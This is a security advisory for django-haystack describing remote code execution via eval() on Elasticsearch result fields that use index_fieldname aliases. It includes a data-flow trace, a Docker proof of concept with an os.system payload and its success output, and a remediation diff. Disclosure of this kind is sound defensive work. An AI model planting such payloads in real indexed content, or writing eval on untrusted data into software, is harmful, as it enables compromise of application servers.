Summary
django-haystack: Remote Code Execution via `eval()` in Elasticsearch Result Deserialization
Advisory details
Remote Code Execution via eval() in Elasticsearch Result Deserialization
Summary
The Elasticsearch backend in django-haystack calls eval() on raw field values returned from Elasticsearch when a SearchField is declared with an index_fieldname alias that differs from the logical field name. During result processing, the backend looks up fields by logical name but Elasticsearch stores them under the alias key; the lookup fails and the value falls through to _to_python() → eval(). An attacker who can control content that is indexed into Elasticsearch—and can trigger or wait for a search that returns it—achieves arbitrary code execution in the Django application process. CVSS 3.1 Base Score: 8.5 (High).
Details
Sink — haystack/backends/elasticsearch_backend.py:865:
converted_value = eval(value)
_to_python() (line ~850) attempts to parse a string value by calling eval() before performing any type-safety check. If the value is an attacker-controlled Python expression such as __import__('os').system(...), the expression is executed unconditionally.
Root cause — haystack/backends/elasticsearch_backend.py:727–737:
for key, value in source.items():
string_key = str(key)
if string_key in index.fields and hasattr(index.fields[string_key], "convert"):
additional_fields[string_key] = index.fields[string_key].convert(value)
else:
additional_fields[string_key] = self._to_python(value)
index.fields is keyed by the logical field name (e.g. "name"), but Elasticsearch stores the document under the index_fieldname alias (e.g. "name_s"). Because "name_s" not in index.fields, the branch falls through to self._to_python(value).
Data flow (source → sink):
haystack/indexes.py:226—self.prepared_data[field.index_fieldname] = field.prepare(obj)stores data under the alias.haystack/backends/elasticsearch_backend.py:218— prepared data copied intofinal_data.haystack/backends/elasticsearch_backend.py:236—bulk(...)writes the document to Elasticsearch under the alias key.haystack/backends/elasticsearch_backend.py:574— search reads attacker-influenced_sourceback from Elasticsearch.haystack/backends/elasticsearch_backend.py:720—_process_results()takesraw_result["_source"].haystack/backends/elasticsearch_backend.py:730— lookupstring_key in index.fieldsfails for alias keys.haystack/backends/elasticsearch_backend.py:737— unmatched value passed to_to_python(value).haystack/backends/elasticsearch_backend.py:865— sink:converted_value = eval(value).
Missing fix: The Solr backend correctly remaps aliases at haystack/backends/solr_backend.py:535–539 using index.field_map before performing the index.fields lookup. The Elasticsearch backend has no equivalent remapping.
Preconditions:
- The application uses the Elasticsearch backend.
- At least one
SearchFieldin aSearchIndexis declared withindex_fieldnameset to a value different from the logical attribute name. - The attacker can write content that is indexed (e.g. via a form, API, or any user-controlled field included in the index).
- The attacker can trigger or wait for a search that returns the malicious document.
PoC
Environment setup (Docker):
# Build the proof-of-concept image
docker build -t vuln001-poc \
-f /path/to/vuln-001/Dockerfile \
/path/to/reports/pypiAi_436_django-haystack__django-haystack/
# Run the PoC — exits 0 on confirmed RCE
docker run --rm vuln001-poc
Dockerfile (vuln-001/Dockerfile):
FROM python:3.11-slim
WORKDIR /app
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
COPY repo/ /app/repo/
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
PoC script (vuln-001/poc.py) — key sections:
# SearchField with index_fieldname alias
class MockField:
index_fieldname = "name_s" # ES key
def convert(self, value): return str(value)
class MockIndex:
fields = {"name": MockField()} # logical key — "name_s" NOT present
field_map = {"name_s": "name"}
# Malicious payload placed in the alias key of a crafted ES _source response
MARKER_FILE = "/tmp/django_haystack_eval_rce_proof"
payload = (
f"__import__('os').system("
f"'echo PWNED_BY_EVAL_RCE > {MARKER_FILE}')"
)
raw_results = {"hits": {"total": 1, "hits": [{
"_score": 1.0,
"_source": {
"django_ct": "app.model",
"django_id": "1",
"name_s": payload, # alias key → lookup fails → eval()
},
}]}}
backend._process_results(raw_results)
# Confirms RCE: /tmp/django_haystack_eval_rce_proof contains "PWNED_BY_EVAL_RCE"
Observed output (Phase 2 dynamic reproduction):
============================================================
VULN-001 PoC: eval() RCE in ElasticsearchSearchBackend
============================================================
[*] Payload : __import__('os').system('echo PWNED_BY_EVAL_RCE > /tmp/django_haystack_eval_rce_proof')
[*] Marker : /tmp/django_haystack_eval_rce_proof
[*] Sink : elasticsearch_backend.py:865 eval(value)
[+] SUCCESS: RCE CONFIRMED
[+] Marker file created: /tmp/django_haystack_eval_rce_proof
[+] File content: PWNED_BY_EVAL_RCE
RESULT: PASS - VULN-001 is dynamically reproduced and exploitable
Recommended remediation:
--- a/haystack/backends/elasticsearch_backend.py
+++ b/haystack/backends/elasticsearch_backend.py
-import re
+import ast
+import re
index = source and unified_index.get_index(model)
+ index_field_map = index.field_map
for key, value in source.items():
string_key = str(key)
+ if string_key in index_field_map:
+ string_key = index_field_map[string_key]
if string_key in index.fields and hasattr(
index.fields[string_key], "convert"
- converted_value = eval(value)
+ converted_value = ast.literal_eval(value)
Impact
This is a Remote Code Execution (RCE) vulnerability. Any attacker who can submit content that is stored and indexed in Elasticsearch—then retrieved via a search—can execute arbitrary Python (and shell) commands in the Django application process with the privileges of the web server. Full confidentiality, integrity, and availability of the server are at risk. Because Haystack is a reusable search library, the vulnerability affects all Django applications that use the Elasticsearch backend with index_fieldname aliasing, regardless of how authentication is configured by the application.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
WORKDIR /app
# Install build tools needed for setuptools_scm
RUN pip install --no-cache-dir setuptools setuptools_scm wheel
# Copy the django-haystack repository source
COPY repo/ /app/repo/
# Install Django and the elasticsearch client
RUN pip install --no-cache-dir "Django>=4.2" "elasticsearch>=5,<8"
# Install django-haystack from the local repo (editable install)
# setuptools_scm requires git metadata; use fallback version instead
RUN SETUPTOOLS_SCM_PRETEND_VERSION=0.0.dev0 pip install --no-cache-dir -e /app/repo/
# Copy the PoC script
COPY vuln-001/poc.py /app/poc.py
# Run the PoC by default
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC for VULN-001: Arbitrary Code Execution via eval() in
ElasticsearchSearchBackend._process_results (django-haystack)
Vulnerability:
haystack/backends/elasticsearch_backend.py:865 calls eval(value) on
Elasticsearch _source field values that do not match any entry in
index.fields. This mismatch occurs when a SearchField uses
index_fieldname (alias) di
References
- https://github.com/advisories/GHSA-r3hx-x5rh-p9vv
- https://github.com/django-haystack/django-haystack/security/advisories/GHSA-r3hx-x5rh-p9vv
- https://github.com/django-haystack/django-haystack/commit/eb05f193c9771a68dcc8cfac6674a0d48a52ee9d
- https://github.com/django-haystack/django-haystack/releases/tag/v3.4.0
Related vulnerabilities
All Supply chain →- CRITICALCVE-2026-71867
Orval: RCE via schema property name -> computed-property-key injection in the MSW mock generator
- CRITICALCVE-2026-71865
Orval: Import-time RCE via query parameter name -> computed-property-key injection in the zod cli
- CRITICALCVE-2026-71864
Orval: Import-time RCE via header parameter name -> computed-property-key injection in the zod client
- CRITICALCVE-2026-71866
Orval: Import-time RCE via schema property name -> computed-property-key injection in the zod client
- HIGHCVE-2026-73231
Faker: helpers.fake exploitable into arbritary code execution
- CRITICALCVE-2026-54569
senaite.core Vulnerable to Eval Injection and Missing Authorization